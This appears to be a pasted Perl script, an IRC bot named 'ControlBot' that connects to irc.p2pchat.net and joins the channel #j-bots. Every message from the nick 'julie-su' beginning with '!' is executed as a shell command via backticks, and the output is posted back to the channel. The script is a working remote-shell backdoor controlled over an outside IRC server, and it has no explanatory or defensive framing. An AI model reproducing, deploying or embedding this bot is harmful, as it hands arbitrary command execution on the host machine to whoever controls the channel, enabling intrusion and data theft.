rendered paste bodyuse IO::Socket;
use strict;
sub fix_raw($)
{
if (shift =~ /:([^!]+)[^\s]+ PRIVMSG (#[^\s]+) :(.*)$/i)
{
return $1, $2, $3;
}
}
my($server, $port, $channel) = ('irc.p2pchat.net', '6667', '#j-bots');
{
my $sock = IO::Socket::INET->new(
PeerAddr => $server,
PeerPort => $port,
PeerProto => 'tcp'
) or die("Couldn't bind socket. ($!)");
print "Connected.\n";
while (1) {
while (my $data = <$sock>) {
chomp($data);
if ($data =~ /(Looking up your hostname|Found your hostname)/i) {
print "Logging in.\n";
print $sock "USER ControlBot ControlBot 0 :ControlBot\r\n";
print $sock "NICK ControlBot\r\n";
print $sock "PONG $server\r\n"
}
elsif ($data =~ /^PING(.*)?$/i) {
print "Ping? Pong.\n";
print $sock "PONG $1\r\n";
}
elsif ($data =~ /^[^\s]+ (376|422)/) {
print "Joining $channel.\n";
print $sock "JOIN $channel\r\n";
}
elsif ($data =~ /PRIVMSG/) {
my($nick, $chan, $text) = fix_raw($data);
if (($nick eq 'julie-su') && ($text =~ /^!/)) {
$text =~ s/^!//;
print "Command: $text\n";
$text = `$text`;
my @shell = split("\n", $text);
foreach my $line (@shell) {
print $sock "PRIVMSG $chan :".$line."\r\n";
sleep(1);
}
}
}
}
sleep(1);
}
}